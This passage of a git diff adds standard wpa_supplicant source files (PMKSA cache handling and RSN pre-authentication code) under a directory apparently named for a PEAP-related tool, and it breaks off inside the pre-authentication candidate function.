peerkey_rx_eapol_smk(struct wpa_sm *sm, const u8 *src_addr, + struct wpa_eapol_key *key, size_t extra_len, + u16 key_info, u16 ver); +void peerkey_deinit(struct wpa_sm *sm); + +#else /* CONFIG_PEERKEY */ + +static inline int +peerkey_verify_eapol_key_mic(struct wpa_sm *sm, + struct wpa_peerkey *peerkey, + struct wpa_eapol_key *key, u16 ver, + const u8 *buf, size_t len) +{ + return -1; +} + +static inline void +peerkey_rx_eapol_4way(struct wpa_sm *sm, struct wpa_peerkey *peerkey, + struct wpa_eapol_key *key, u16 key_info, u16 ver) +{ +} + +static inline void +peerkey_rx_eapol_smk(struct wpa_sm *sm, const u8 *src_addr, + struct wpa_eapol_key *key, size_t extra_len, + u16 key_info, u16 ver) +{ +} + +static inline void peerkey_deinit(struct wpa_sm *sm) +{ +} + +#endif /* CONFIG_PEERKEY */ + +#endif /* PEERKEY_H */ diff --git a/peapwn/mods/hostap/src/rsn_supp/pmksa_cache.c b/peapwn/mods/hostap/src/rsn_supp/pmksa_cache.c new file mode 100644 index 000000000..33fa1a29a --- /dev/null +++ b/peapwn/mods/hostap/src/rsn_supp/pmksa_cache.c @@ -0,0 +1,525 @@ +/* + * WPA Supplicant - RSN PMKSA cache + * Copyright (c) 2004-2009, 2011-2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "eloop.h" +#include "eapol_supp/eapol_supp_sm.h" +#include "wpa.h" +#include "wpa_i.h" +#include "pmksa_cache.h" + +#ifdef IEEE8021X_EAPOL + +static const int pmksa_cache_max_entries = 32; + +struct rsn_pmksa_cache { + struct rsn_pmksa_cache_entry *pmksa; /* PMKSA cache */ + int pmksa_count; /* number of entries in PMKSA cache */ + struct wpa_sm *sm; /* TODO: get rid of this reference(?) */ + + void (*free_cb)(struct rsn_pmksa_cache_entry *entry, void *ctx, + enum pmksa_free_reason reason); + void *ctx; +}; + + +static void pmksa_cache_set_expiration(struct rsn_pmksa_cache *pmksa); + + +static void _pmksa_cache_free_entry(struct rsn_pmksa_cache_entry *entry) +{ + os_free(entry); +} + + +static void pmksa_cache_free_entry(struct rsn_pmksa_cache *pmksa, + struct rsn_pmksa_cache_entry *entry, + enum pmksa_free_reason reason) +{ + wpa_sm_remove_pmkid(pmksa->sm, entry->aa, entry->pmkid); + pmksa->pmksa_count--; + pmksa->free_cb(entry, pmksa->ctx, reason); + _pmksa_cache_free_entry(entry); +} + + +static void pmksa_cache_expire(void *eloop_ctx, void *timeout_ctx) +{ + struct rsn_pmksa_cache *pmksa = eloop_ctx; + struct os_time now; + + os_get_time(&now); + while (pmksa->pmksa && pmksa->pmksa->expiration <= now.sec) { + struct rsn_pmksa_cache_entry *entry = pmksa->pmksa; + pmksa->pmksa = entry->next; + wpa_printf(MSG_DEBUG, "RSN: expired PMKSA cache entry for " + MACSTR, MAC2STR(entry->aa)); + pmksa_cache_free_entry(pmksa, entry, PMKSA_EXPIRE); + } + + pmksa_cache_set_expiration(pmksa); +} + + +static void pmksa_cache_reauth(void *eloop_ctx, void *timeout_ctx) +{ + struct rsn_pmksa_cache *pmksa = eloop_ctx; + pmksa->sm->cur_pmksa = NULL; + eapol_sm_request_reauth(pmksa->sm->eapol); +} + + +static void pmksa_cache_set_expiration(struct rsn_pmksa_cache *pmksa) +{ + int sec; + struct rsn_pmksa_cache_entry *entry; + struct os_time now; + + eloop_cancel_timeout(pmksa_cache_expire, pmksa, NULL); + eloop_cancel_timeout(pmksa_cache_reauth, pmksa, NULL); + if (pmksa->pmksa == NULL) + return; + os_get_time(&now); + sec = pmksa->pmksa->expiration - now.sec; + if (sec < 0) + sec = 0; + eloop_register_timeout(sec + 1, 0, pmksa_cache_expire, pmksa, NULL); + + entry = pmksa->sm->cur_pmksa ? pmksa->sm->cur_pmksa : + pmksa_cache_get(pmksa, pmksa->sm->bssid, NULL, NULL); + if (entry) { + sec = pmksa->pmksa->reauth_time - now.sec; + if (sec < 0) + sec = 0; + eloop_register_timeout(sec, 0, pmksa_cache_reauth, pmksa, + NULL); + } +} + + +/** + * pmksa_cache_add - Add a PMKSA cache entry + * @pmksa: Pointer to PMKSA cache data from pmksa_cache_init() + * @pmk: The new pairwise master key + * @pmk_len: PMK length in bytes, usually PMK_LEN (32) + * @aa: Authenticator address + * @spa: Supplicant address + * @network_ctx: Network configuration context for this PMK + * @akmp: WPA_KEY_MGMT_* used in key derivation + * Returns: Pointer to the added PMKSA cache entry or %NULL on error + * + * This function create a PMKSA entry for a new PMK and adds it to the PMKSA + * cache. If an old entry is already in the cache for the same Authenticator, + * this entry will be replaced with the new entry. PMKID will be calculated + * based on the PMK and the driver interface is notified of the new PMKID. + */ +struct rsn_pmksa_cache_entry * +pmksa_cache_add(struct rsn_pmksa_cache *pmksa, const u8 *pmk, size_t pmk_len, + const u8 *aa, const u8 *spa, void *network_ctx, int akmp) +{ + struct rsn_pmksa_cache_entry *entry, *pos, *prev; + struct os_time now; + + if (pmk_len > PMK_LEN) + return NULL; + + entry = os_zalloc(sizeof(*entry)); + if (entry == NULL) + return NULL; + os_memcpy(entry->pmk, pmk, pmk_len); + entry->pmk_len = pmk_len; + rsn_pmkid(pmk, pmk_len, aa, spa, entry->pmkid, + wpa_key_mgmt_sha256(akmp)); + os_get_time(&now); + entry->expiration = now.sec + pmksa->sm->dot11RSNAConfigPMKLifetime; + entry->reauth_time = now.sec + pmksa->sm->dot11RSNAConfigPMKLifetime * + pmksa->sm->dot11RSNAConfigPMKReauthThreshold / 100; + entry->akmp = akmp; + os_memcpy(entry->aa, aa, ETH_ALEN); + entry->network_ctx = network_ctx; + + /* Replace an old entry for the same Authenticator (if found) with the + * new entry */ + pos = pmksa->pmksa; + prev = NULL; + while (pos) { + if (os_memcmp(aa, pos->aa, ETH_ALEN) == 0) { + if (pos->pmk_len == pmk_len && + os_memcmp(pos->pmk, pmk, pmk_len) == 0 && + os_memcmp(pos->pmkid, entry->pmkid, PMKID_LEN) == + 0) { + wpa_printf(MSG_DEBUG, "WPA: reusing previous " + "PMKSA entry"); + os_free(entry); + return pos; + } + if (prev == NULL) + pmksa->pmksa = pos->next; + else + prev->next = pos->next; + + /* + * If OKC is used, there may be other PMKSA cache + * entries based on the same PMK. These needs to be + * flushed so that a new entry can be created based on + * the new PMK. Only clear other entries if they have a + * matching PMK and this PMK has been used successfully + * with the current AP, i.e., if opportunistic flag has + * been cleared in wpa_supplicant_key_neg_complete(). + */ + wpa_printf(MSG_DEBUG, "RSN: Replace PMKSA entry for " + "the current AP and any PMKSA cache entry " + "that was based on the old PMK"); + if (!pos->opportunistic) + pmksa_cache_flush(pmksa, network_ctx, pos->pmk, + pos->pmk_len); + pmksa_cache_free_entry(pmksa, pos, PMKSA_REPLACE); + break; + } + prev = pos; + pos = pos->next; + } + + if (pmksa->pmksa_count >= pmksa_cache_max_entries && pmksa->pmksa) { + /* Remove the oldest entry to make room for the new entry */ + pos = pmksa->pmksa; + + if (pos == pmksa->sm->cur_pmksa) { + /* + * Never remove the current PMKSA cache entry, since + * it's in use, and removing it triggers a needless + * deauthentication. + */ + pos = pos->next; + pmksa->pmksa->next = pos ? pos->next : NULL; + } else + pmksa->pmksa = pos->next; + + if (pos) { + wpa_printf(MSG_DEBUG, "RSN: removed the oldest idle " + "PMKSA cache entry (for " MACSTR ") to " + "make room for new one", + MAC2STR(pos->aa)); + pmksa_cache_free_entry(pmksa, pos, PMKSA_FREE); + } + } + + /* Add the new entry; order by expiration time */ + pos = pmksa->pmksa; + prev = NULL; + while (pos) { + if (pos->expiration > entry->expiration) + break; + prev = pos; + pos = pos->next; + } + if (prev == NULL) { + entry->next = pmksa->pmksa; + pmksa->pmksa = entry; + pmksa_cache_set_expiration(pmksa); + } else { + entry->next = prev->next; + prev->next = entry; + } + pmksa->pmksa_count++; + wpa_printf(MSG_DEBUG, "RSN: Added PMKSA cache entry for " MACSTR + " network_ctx=%p", MAC2STR(entry->aa), network_ctx); + wpa_sm_add_pmkid(pmksa->sm, entry->aa, entry->pmkid); + + return entry; +} + + +/** + * pmksa_cache_flush - Flush PMKSA cache entries for a specific network + * @pmksa: Pointer to PMKSA cache data from pmksa_cache_init() + * @network_ctx: Network configuration context or %NULL to flush all entries + * @pmk: PMK to match for or %NYLL to match all PMKs + * @pmk_len: PMK length + */ +void pmksa_cache_flush(struct rsn_pmksa_cache *pmksa, void *network_ctx, + const u8 *pmk, size_t pmk_len) +{ + struct rsn_pmksa_cache_entry *entry, *prev = NULL, *tmp; + int removed = 0; + + entry = pmksa->pmksa; + while (entry) { + if ((entry->network_ctx == network_ctx || + network_ctx == NULL) && + (pmk == NULL || + (pmk_len == entry->pmk_len && + os_memcmp(pmk, entry->pmk, pmk_len) == 0))) { + wpa_printf(MSG_DEBUG, "RSN: Flush PMKSA cache entry " + "for " MACSTR, MAC2STR(entry->aa)); + if (prev) + prev->next = entry->next; + else + pmksa->pmksa = entry->next; + tmp = entry; + entry = entry->next; + pmksa_cache_free_entry(pmksa, tmp, PMKSA_FREE); + removed++; + } else { + prev = entry; + entry = entry->next; + } + } + if (removed) + pmksa_cache_set_expiration(pmksa); +} + + +/** + * pmksa_cache_deinit - Free all entries in PMKSA cache + * @pmksa: Pointer to PMKSA cache data from pmksa_cache_init() + */ +void pmksa_cache_deinit(struct rsn_pmksa_cache *pmksa) +{ + struct rsn_pmksa_cache_entry *entry, *prev; + + if (pmksa == NULL) + return; + + entry = pmksa->pmksa; + pmksa->pmksa = NULL; + while (entry) { + prev = entry; + entry = entry->next; + os_free(prev); + } + pmksa_cache_set_expiration(pmksa); + os_free(pmksa); +} + + +/** + * pmksa_cache_get - Fetch a PMKSA cache entry + * @pmksa: Pointer to PMKSA cache data from pmksa_cache_init() + * @aa: Authenticator address or %NULL to match any + * @pmkid: PMKID or %NULL to match any + * @network_ctx: Network context or %NULL to match any + * Returns: Pointer to PMKSA cache entry or %NULL if no match was found + */ +struct rsn_pmksa_cache_entry * pmksa_cache_get(struct rsn_pmksa_cache *pmksa, + const u8 *aa, const u8 *pmkid, + const void *network_ctx) +{ + struct rsn_pmksa_cache_entry *entry = pmksa->pmksa; + while (entry) { + if ((aa == NULL || os_memcmp(entry->aa, aa, ETH_ALEN) == 0) && + (pmkid == NULL || + os_memcmp(entry->pmkid, pmkid, PMKID_LEN) == 0) && + (network_ctx == NULL || network_ctx == entry->network_ctx)) + return entry; + entry = entry->next; + } + return NULL; +} + + +static struct rsn_pmksa_cache_entry * +pmksa_cache_clone_entry(struct rsn_pmksa_cache *pmksa, + const struct rsn_pmksa_cache_entry *old_entry, + const u8 *aa) +{ + struct rsn_pmksa_cache_entry *new_entry; + + new_entry = pmksa_cache_add(pmksa, old_entry->pmk, old_entry->pmk_len, + aa, pmksa->sm->own_addr, + old_entry->network_ctx, old_entry->akmp); + if (new_entry == NULL) + return NULL; + + /* TODO: reorder entries based on expiration time? */ + new_entry->expiration = old_entry->expiration; + new_entry->opportunistic = 1; + + return new_entry; +} + + +/** + * pmksa_cache_get_opportunistic - Try to get an opportunistic PMKSA entry + * @pmksa: Pointer to PMKSA cache data from pmksa_cache_init() + * @network_ctx: Network configuration context + * @aa: Authenticator address for the new AP + * Returns: Pointer to a new PMKSA cache entry or %NULL if not available + * + * Try to create a new PMKSA cache entry opportunistically by guessing that the + * new AP is sharing the same PMK as another AP that has the same SSID and has + * already an entry in PMKSA cache. + */ +struct rsn_pmksa_cache_entry * +pmksa_cache_get_opportunistic(struct rsn_pmksa_cache *pmksa, void *network_ctx, + const u8 *aa) +{ + struct rsn_pmksa_cache_entry *entry = pmksa->pmksa; + + wpa_printf(MSG_DEBUG, "RSN: Consider " MACSTR " for OKC", MAC2STR(aa)); + if (network_ctx == NULL) + return NULL; + while (entry) { + if (entry->network_ctx == network_ctx) { + entry = pmksa_cache_clone_entry(pmksa, entry, aa); + if (entry) { + wpa_printf(MSG_DEBUG, "RSN: added " + "opportunistic PMKSA cache entry " + "for " MACSTR, MAC2STR(aa)); + } + return entry; + } + entry = entry->next; + } + return NULL; +} + + +/** + * pmksa_cache_get_current - Get the current used PMKSA entry + * @sm: Pointer to WPA state machine data from wpa_sm_init() + * Returns: Pointer to the current PMKSA cache entry or %NULL if not available + */ +struct rsn_pmksa_cache_entry * pmksa_cache_get_current(struct wpa_sm *sm) +{ + if (sm == NULL) + return NULL; + return sm->cur_pmksa; +} + + +/** + * pmksa_cache_clear_current - Clear the current PMKSA entry selection + * @sm: Pointer to WPA state machine data from wpa_sm_init() + */ +void pmksa_cache_clear_current(struct wpa_sm *sm) +{ + if (sm == NULL) + return; + sm->cur_pmksa = NULL; +} + + +/** + * pmksa_cache_set_current - Set the current PMKSA entry selection + * @sm: Pointer to WPA state machine data from wpa_sm_init() + * @pmkid: PMKID for selecting PMKSA or %NULL if not used + * @bssid: BSSID for PMKSA or %NULL if not used + * @network_ctx: Network configuration context + * @try_opportunistic: Whether to allow opportunistic PMKSA caching + * Returns: 0 if PMKSA was found or -1 if no matching entry was found + */ +int pmksa_cache_set_current(struct wpa_sm *sm, const u8 *pmkid, + const u8 *bssid, void *network_ctx, + int try_opportunistic) +{ + struct rsn_pmksa_cache *pmksa = sm->pmksa; + wpa_printf(MSG_DEBUG, "RSN: PMKSA cache search - network_ctx=%p " + "try_opportunistic=%d", network_ctx, try_opportunistic); + if (pmkid) + wpa_hexdump(MSG_DEBUG, "RSN: Search for PMKID", + pmkid, PMKID_LEN); + if (bssid) + wpa_printf(MSG_DEBUG, "RSN: Search for BSSID " MACSTR, + MAC2STR(bssid)); + + sm->cur_pmksa = NULL; + if (pmkid) + sm->cur_pmksa = pmksa_cache_get(pmksa, NULL, pmkid, + network_ctx); + if (sm->cur_pmksa == NULL && bssid) + sm->cur_pmksa = pmksa_cache_get(pmksa, bssid, NULL, + network_ctx); + if (sm->cur_pmksa == NULL && try_opportunistic && bssid) + sm->cur_pmksa = pmksa_cache_get_opportunistic(pmksa, + network_ctx, + bssid); + if (sm->cur_pmksa) { + wpa_hexdump(MSG_DEBUG, "RSN: PMKSA cache entry found - PMKID", + sm->cur_pmksa->pmkid, PMKID_LEN); + return 0; + } + wpa_printf(MSG_DEBUG, "RSN: No PMKSA cache entry found"); + return -1; +} + + +/** + * pmksa_cache_list - Dump text list of entries in PMKSA cache + * @pmksa: Pointer to PMKSA cache data from pmksa_cache_init() + * @buf: Buffer for the list + * @len: Length of the buffer + * Returns: number of bytes written to buffer + * + * This function is used to generate a text format representation of the + * current PMKSA cache contents for the ctrl_iface PMKSA command. + */ +int pmksa_cache_list(struct rsn_pmksa_cache *pmksa, char *buf, size_t len) +{ + int i, ret; + char *pos = buf; + struct rsn_pmksa_cache_entry *entry; + struct os_time now; + + os_get_time(&now); + ret = os_snprintf(pos, buf + len - pos, + "Index / AA / PMKID / expiration (in seconds) / " + "opportunistic\n"); + if (ret < 0 || ret >= buf + len - pos) + return pos - buf; + pos += ret; + i = 0; + entry = pmksa->pmksa; + while (entry) { + i++; + ret = os_snprintf(pos, buf + len - pos, "%d " MACSTR " ", + i, MAC2STR(entry->aa)); + if (ret < 0 || ret >= buf + len - pos) + return pos - buf; + pos += ret; + pos += wpa_snprintf_hex(pos, buf + len - pos, entry->pmkid, + PMKID_LEN); + ret = os_snprintf(pos, buf + len - pos, " %d %d\n", + (int) (entry->expiration - now.sec), + entry->opportunistic); + if (ret < 0 || ret >= buf + len - pos) + return pos - buf; + pos += ret; + entry = entry->next; + } + return pos - buf; +} + + +/** + * pmksa_cache_init - Initialize PMKSA cache + * @free_cb: Callback function to be called when a PMKSA cache entry is freed + * @ctx: Context pointer for free_cb function + * @sm: Pointer to WPA state machine data from wpa_sm_init() + * Returns: Pointer to PMKSA cache data or %NULL on failure + */ +struct rsn_pmksa_cache * +pmksa_cache_init(void (*free_cb)(struct rsn_pmksa_cache_entry *entry, + void *ctx, enum pmksa_free_reason reason), + void *ctx, struct wpa_sm *sm) +{ + struct rsn_pmksa_cache *pmksa; + + pmksa = os_zalloc(sizeof(*pmksa)); + if (pmksa) { + pmksa->free_cb = free_cb; + pmksa->ctx = ctx; + pmksa->sm = sm; + } + + return pmksa; +} + +#endif /* IEEE8021X_EAPOL */ diff --git a/peapwn/mods/hostap/src/rsn_supp/pmksa_cache.h b/peapwn/mods/hostap/src/rsn_supp/pmksa_cache.h new file mode 100644 index 000000000..6cbf89aa4 --- /dev/null +++ b/peapwn/mods/hostap/src/rsn_supp/pmksa_cache.h @@ -0,0 +1,132 @@ +/* + * wpa_supplicant - WPA2/RSN PMKSA cache functions + * Copyright (c) 2003-2009, 2011-2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef PMKSA_CACHE_H +#define PMKSA_CACHE_H + +/** + * struct rsn_pmksa_cache_entry - PMKSA cache entry + */ +struct rsn_pmksa_cache_entry { + struct rsn_pmksa_cache_entry *next; + u8 pmkid[PMKID_LEN]; + u8 pmk[PMK_LEN]; + size_t pmk_len; + os_time_t expiration; + int akmp; /* WPA_KEY_MGMT_* */ + u8 aa[ETH_ALEN]; + + os_time_t reauth_time; + + /** + * network_ctx - Network configuration context + * + * This field is only used to match PMKSA cache entries to a specific + * network configuration (e.g., a specific SSID and security policy). + * This can be a pointer to the configuration entry, but PMKSA caching + * code does not dereference the value and this could be any kind of + * identifier. + */ + void *network_ctx; + int opportunistic; +}; + +struct rsn_pmksa_cache; + +enum pmksa_free_reason { + PMKSA_FREE, + PMKSA_REPLACE, + PMKSA_EXPIRE, +}; + +#ifdef IEEE8021X_EAPOL + +struct rsn_pmksa_cache * +pmksa_cache_init(void (*free_cb)(struct rsn_pmksa_cache_entry *entry, + void *ctx, enum pmksa_free_reason reason), + void *ctx, struct wpa_sm *sm); +void pmksa_cache_deinit(struct rsn_pmksa_cache *pmksa); +struct rsn_pmksa_cache_entry * pmksa_cache_get(struct rsn_pmksa_cache *pmksa, + const u8 *aa, const u8 *pmkid, + const void *network_ctx); +int pmksa_cache_list(struct rsn_pmksa_cache *pmksa, char *buf, size_t len); +struct rsn_pmksa_cache_entry * +pmksa_cache_add(struct rsn_pmksa_cache *pmksa, const u8 *pmk, size_t pmk_len, + const u8 *aa, const u8 *spa, void *network_ctx, int akmp); +struct rsn_pmksa_cache_entry * pmksa_cache_get_current(struct wpa_sm *sm); +void pmksa_cache_clear_current(struct wpa_sm *sm); +int pmksa_cache_set_current(struct wpa_sm *sm, const u8 *pmkid, + const u8 *bssid, void *network_ctx, + int try_opportunistic); +struct rsn_pmksa_cache_entry * +pmksa_cache_get_opportunistic(struct rsn_pmksa_cache *pmksa, + void *network_ctx, const u8 *aa); +void pmksa_cache_flush(struct rsn_pmksa_cache *pmksa, void *network_ctx, + const u8 *pmk, size_t pmk_len); + +#else /* IEEE8021X_EAPOL */ + +static inline struct rsn_pmksa_cache * +pmksa_cache_init(void (*free_cb)(struct rsn_pmksa_cache_entry *entry, + void *ctx, enum pmksa_free_reason reason), + void *ctx, struct wpa_sm *sm) +{ + return (void *) -1; +} + +static inline void pmksa_cache_deinit(struct rsn_pmksa_cache *pmksa) +{ +} + +static inline struct rsn_pmksa_cache_entry * +pmksa_cache_get(struct rsn_pmksa_cache *pmksa, const u8 *aa, const u8 *pmkid, + const void *network_ctx) +{ + return NULL; +} + +static inline struct rsn_pmksa_cache_entry * +pmksa_cache_get_current(struct wpa_sm *sm) +{ + return NULL; +} + +static inline int pmksa_cache_list(struct rsn_pmksa_cache *pmksa, char *buf, + size_t len) +{ + return -1; +} + +static inline struct rsn_pmksa_cache_entry * +pmksa_cache_add(struct rsn_pmksa_cache *pmksa, const u8 *pmk, size_t pmk_len, + const u8 *aa, const u8 *spa, void *network_ctx, int akmp) +{ + return NULL; +} + +static inline void pmksa_cache_clear_current(struct wpa_sm *sm) +{ +} + +static inline int pmksa_cache_set_current(struct wpa_sm *sm, const u8 *pmkid, + const u8 *bssid, + void *network_ctx, + int try_opportunistic) +{ + return -1; +} + +static inline void pmksa_cache_flush(struct rsn_pmksa_cache *pmksa, + void *network_ctx, + const u8 *pmk, size_t pmk_len) +{ +} + +#endif /* IEEE8021X_EAPOL */ + +#endif /* PMKSA_CACHE_H */ diff --git a/peapwn/mods/hostap/src/rsn_supp/preauth.c b/peapwn/mods/hostap/src/rsn_supp/preauth.c new file mode 100644 index 000000000..c51620eba --- /dev/null +++ b/peapwn/mods/hostap/src/rsn_supp/preauth.c @@ -0,0 +1,511 @@ +/* + * RSN pre-authentication (supplicant) + * Copyright (c) 2003-2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "wpa.h" +#include "eloop.h" +#include "l2_packet/l2_packet.h" +#include "eapol_supp/eapol_supp_sm.h" +#include "preauth.h" +#include "pmksa_cache.h" +#include "wpa_i.h" + + +#ifdef IEEE8021X_EAPOL + +#define PMKID_CANDIDATE_PRIO_SCAN 1000 + + +struct rsn_pmksa_candidate { + struct dl_list list; + u8 bssid[ETH_ALEN]; + int priority; +}; + + +/** + * pmksa_candidate_free - Free all entries in PMKSA candidate list + * @sm: Pointer to WPA state machine data from wpa_sm_init() + */ +void pmksa_candidate_free(struct wpa_sm *sm) +{ + struct rsn_pmksa_candidate *entry, *n; + + if (sm == NULL) + return; + + dl_list_for_each_safe(entry, n, &sm->pmksa_candidates, + struct rsn_pmksa_candidate, list) { + dl_list_del(&entry->list); + os_free(entry); + } +} + + +static void rsn_preauth_receive(void *ctx, const u8 *src_addr, + const u8 *buf, size_t len) +{ + struct wpa_sm *sm = ctx; + + wpa_printf(MSG_DEBUG, "RX pre-auth from " MACSTR, MAC2STR(src_addr)); + wpa_hexdump(MSG_MSGDUMP, "RX pre-auth", buf, len); + + if (sm->preauth_eapol == NULL || + is_zero_ether_addr(sm->preauth_bssid) || + os_memcmp(sm->preauth_bssid, src_addr, ETH_ALEN) != 0) { + wpa_printf(MSG_WARNING, "RSN pre-auth frame received from " + "unexpected source " MACSTR " - dropped", + MAC2STR(src_addr)); + return; + } + + eapol_sm_rx_eapol(sm->preauth_eapol, src_addr, buf, len); +} + + +static void rsn_preauth_eapol_cb(struct eapol_sm *eapol, int success, + void *ctx) +{ + struct wpa_sm *sm = ctx; + u8 pmk[PMK_LEN]; + + if (success) { + int res, pmk_len; + pmk_len = PMK_LEN; + res = eapol_sm_get_key(eapol, pmk, PMK_LEN); + if (res) { + /* + * EAP-LEAP is an exception from other EAP methods: it + * uses only 16-byte PMK. + */ + res = eapol_sm_get_key(eapol, pmk, 16); + pmk_len = 16; + } + if (res == 0) { + wpa_hexdump_key(MSG_DEBUG, "RSN: PMK from pre-auth", + pmk, pmk_len); + sm->pmk_len = pmk_len; + pmksa_cache_add(sm->pmksa, pmk, pmk_len, + sm->preauth_bssid, sm->own_addr, + sm->network_ctx, + WPA_KEY_MGMT_IEEE8021X); + } else { + wpa_msg(sm->ctx->msg_ctx, MSG_INFO, + "RSN: failed to get master session key from " + "pre-auth EAPOL state machines"); + success = 0; + } + } + + wpa_msg(sm->ctx->msg_ctx, MSG_INFO, "RSN: pre-authentication with " + MACSTR " %s", MAC2STR(sm->preauth_bssid), + success ? "completed successfully" : "failed"); + + rsn_preauth_deinit(sm); + rsn_preauth_candidate_process(sm); +} + + +static void rsn_preauth_timeout(void *eloop_ctx, void *timeout_ctx) +{ + struct wpa_sm *sm = eloop_ctx; + + wpa_msg(sm->ctx->msg_ctx, MSG_INFO, "RSN: pre-authentication with " + MACSTR " timed out", MAC2STR(sm->preauth_bssid)); + rsn_preauth_deinit(sm); + rsn_preauth_candidate_process(sm); +} + + +static int rsn_preauth_eapol_send(void *ctx, int type, const u8 *buf, + size_t len) +{ + struct wpa_sm *sm = ctx; + u8 *msg; + size_t msglen; + int res; + + /* TODO: could add l2_packet_sendmsg that allows fragments to avoid + * extra copy here */ + + if (sm->l2_preauth == NULL) + return -1; + + msg = wpa_sm_alloc_eapol(sm, type, buf, len, &msglen, NULL); + if (msg == NULL) + return -1; + + wpa_hexdump(MSG_MSGDUMP, "TX EAPOL (preauth)", msg, msglen); + res = l2_packet_send(sm->l2_preauth, sm->preauth_bssid, + ETH_P_RSN_PREAUTH, msg, msglen); + os_free(msg); + return res; +} + + +/** + * rsn_preauth_init - Start new RSN pre-authentication + * @sm: Pointer to WPA state machine data from wpa_sm_init() + * @dst: Authenticator address (BSSID) with which to preauthenticate + * @eap_conf: Current EAP configuration + * Returns: 0 on success, -1 on another pre-authentication is in progress, + * -2 on layer 2 packet initialization failure, -3 on EAPOL state machine + * initialization failure, -4 on memory allocation failure + * + * This function request an RSN pre-authentication with a given destination + * address. This is usually called for PMKSA candidates found from scan results + * or from driver reports. In addition, ctrl_iface PREAUTH command can trigger + * pre-authentication. + */ +int rsn_preauth_init(struct wpa_sm *sm, const u8 *dst, + struct eap_peer_config *eap_conf) +{ + struct eapol_config eapol_conf; + struct eapol_ctx *ctx; + + if (sm->preauth_eapol) + return -1; + + wpa_msg(sm->ctx->msg_ctx, MSG_DEBUG, + "RSN: starting pre-authentication with " MACSTR, MAC2STR(dst)); + + sm->l2_preauth = l2_packet_init(sm->ifname, sm->own_addr, + ETH_P_RSN_PREAUTH, + rsn_preauth_receive, sm, 0); + if (sm->l2_preauth == NULL) { + wpa_printf(MSG_WARNING, "RSN: Failed to initialize L2 packet " + "processing for pre-authentication"); + return -2; + } + + if (sm->bridge_ifname) { + sm->l2_preauth_br = l2_packet_init(sm->bridge_ifname, + sm->own_addr, + ETH_P_RSN_PREAUTH, + rsn_preauth_receive, sm, 0); + if (sm->l2_preauth_br == NULL) { + wpa_printf(MSG_WARNING, "RSN: Failed to initialize L2 " + "packet processing (bridge) for " + "pre-authentication"); + return -2; + } + } + + ctx = os_zalloc(sizeof(*ctx)); + if (ctx == NULL) { + wpa_printf(MSG_WARNING, "Failed to allocate EAPOL context."); + return -4; + } + ctx->ctx = sm->ctx->ctx; + ctx->msg_ctx = sm->ctx->ctx; + ctx->preauth = 1; + ctx->cb = rsn_preauth_eapol_cb; + ctx->cb_ctx = sm; + ctx->scard_ctx = sm->scard_ctx; + ctx->eapol_send = rsn_preauth_eapol_send; + ctx->eapol_send_ctx = sm; + ctx->set_config_blob = sm->ctx->set_config_blob; + ctx->get_config_blob = sm->ctx->get_config_blob; + + sm->preauth_eapol = eapol_sm_init(ctx); + if (sm->preauth_eapol == NULL) { + os_free(ctx); + wpa_printf(MSG_WARNING, "RSN: Failed to initialize EAPOL " + "state machines for pre-authentication"); + return -3; + } + os_memset(&eapol_conf, 0, sizeof(eapol_conf)); + eapol_conf.accept_802_1x_keys = 0; + eapol_conf.required_keys = 0; + eapol_conf.fast_reauth = sm->fast_reauth; + eapol_conf.workaround = sm->eap_workaround; + eapol_sm_notify_config(sm->preauth_eapol, eap_conf, &eapol_conf); + /* + * Use a shorter startPeriod with preauthentication since the first + * preauth EAPOL-Start frame may end up being dropped due to race + * condition in the AP between the data receive and key configuration + * after the 4-Way Handshake. + */ + eapol_sm_configure(sm->preauth_eapol, -1, -1, 5, 6); + os_memcpy(sm->preauth_bssid, dst, ETH_ALEN); + + eapol_sm_notify_portValid(sm->preauth_eapol, TRUE); + /* 802.1X::portControl = Auto */ + eapol_sm_notify_portEnabled(sm->preauth_eapol, TRUE); + + eloop_register_timeout(sm->dot11RSNAConfigSATimeout, 0, + rsn_preauth_timeout, sm, NULL); + + return 0; +} + + +/** + * rsn_preauth_deinit - Abort RSN pre-authentication + * @sm: Pointer to WPA state machine data from wpa_sm_init() + * + * This function aborts the current RSN pre-authentication (if one is started) + * and frees resources allocated for it. + */ +void rsn_preauth_deinit(struct wpa_sm *sm) +{ + if (sm == NULL || !sm->preauth_eapol) + return; + + eloop_cancel_timeout(rsn_preauth_timeout, sm, NULL); + eapol_sm_deinit(sm->preauth_eapol); + sm->preauth_eapol = NULL; + os_memset(sm->preauth_bssid, 0, ETH_ALEN); + + l2_packet_deinit(sm->l2_preauth); + sm->l2_preauth = NULL; + if (sm->l2_preauth_br) { + l2_packet_deinit(sm->l2_preauth_br); + sm->l2_preauth_br = NULL; + } +} + + +/** + * rsn_preauth_candidate_process - Process PMKSA candidates + * @sm: Pointer to WPA state machine data from wpa_sm_init() + * + * Go through the PMKSA candidates and start pre-authentication if a candidate + * without an existing PMKSA cache entry is found. Processed candidates will be + * removed from the list. + */ +void rsn_preauth_candidate_process(struct wpa_sm *sm) +{ + struct rsn_pmksa_candidate *candidate, *n; + + if (dl_list_empty(&sm->pmksa_candidates)) + return; + + /* TODO: drop priority for old candidate entries */ + + wpa_msg(sm->ctx->msg_ctx, MSG_DEBUG, "RSN: processing PMKSA candidate " + "list"); + if (sm->preauth_eapol || + sm->proto != WPA_PROTO_RSN || + wpa_sm_get_state(sm) != WPA_COMPLETED || + (sm->key_mgmt != WPA_KEY_MGMT_IEEE8021X && + sm->key_mgmt != WPA_KEY_MGMT_IEEE8021X_SHA256)) { + wpa_msg(sm->ctx->msg_ctx, MSG_DEBUG, "RSN: not in suitable " + "state for new pre-authentication"); + return; /* invalid state for new pre-auth */ + } + + dl_list_for_each_safe(candidate, n, &sm->pmksa_candidates, + struct rsn_pmksa_candidate, list) { + struct rsn_pmksa_cache_entry *p = NULL; + p = pmksa_cache_get(sm->pmksa, candidate->bssid, NULL, NULL); + if (os_memcmp(sm->bssid, candidate->bssid, ETH_ALEN) != 0 && + (p == NULL || p->opportunistic)) { + wpa_msg(sm->ctx->msg_ctx, MSG_DEBUG, "RSN: PMKSA " + "candidate " MACSTR + " selected for pre-authentication", + MAC2STR(candidate->bssid)); + dl_list_del(&candidate->list); + rsn_preauth_init(sm, candidate->bssid, + sm->eap_conf_ctx); + os_free(candidate); 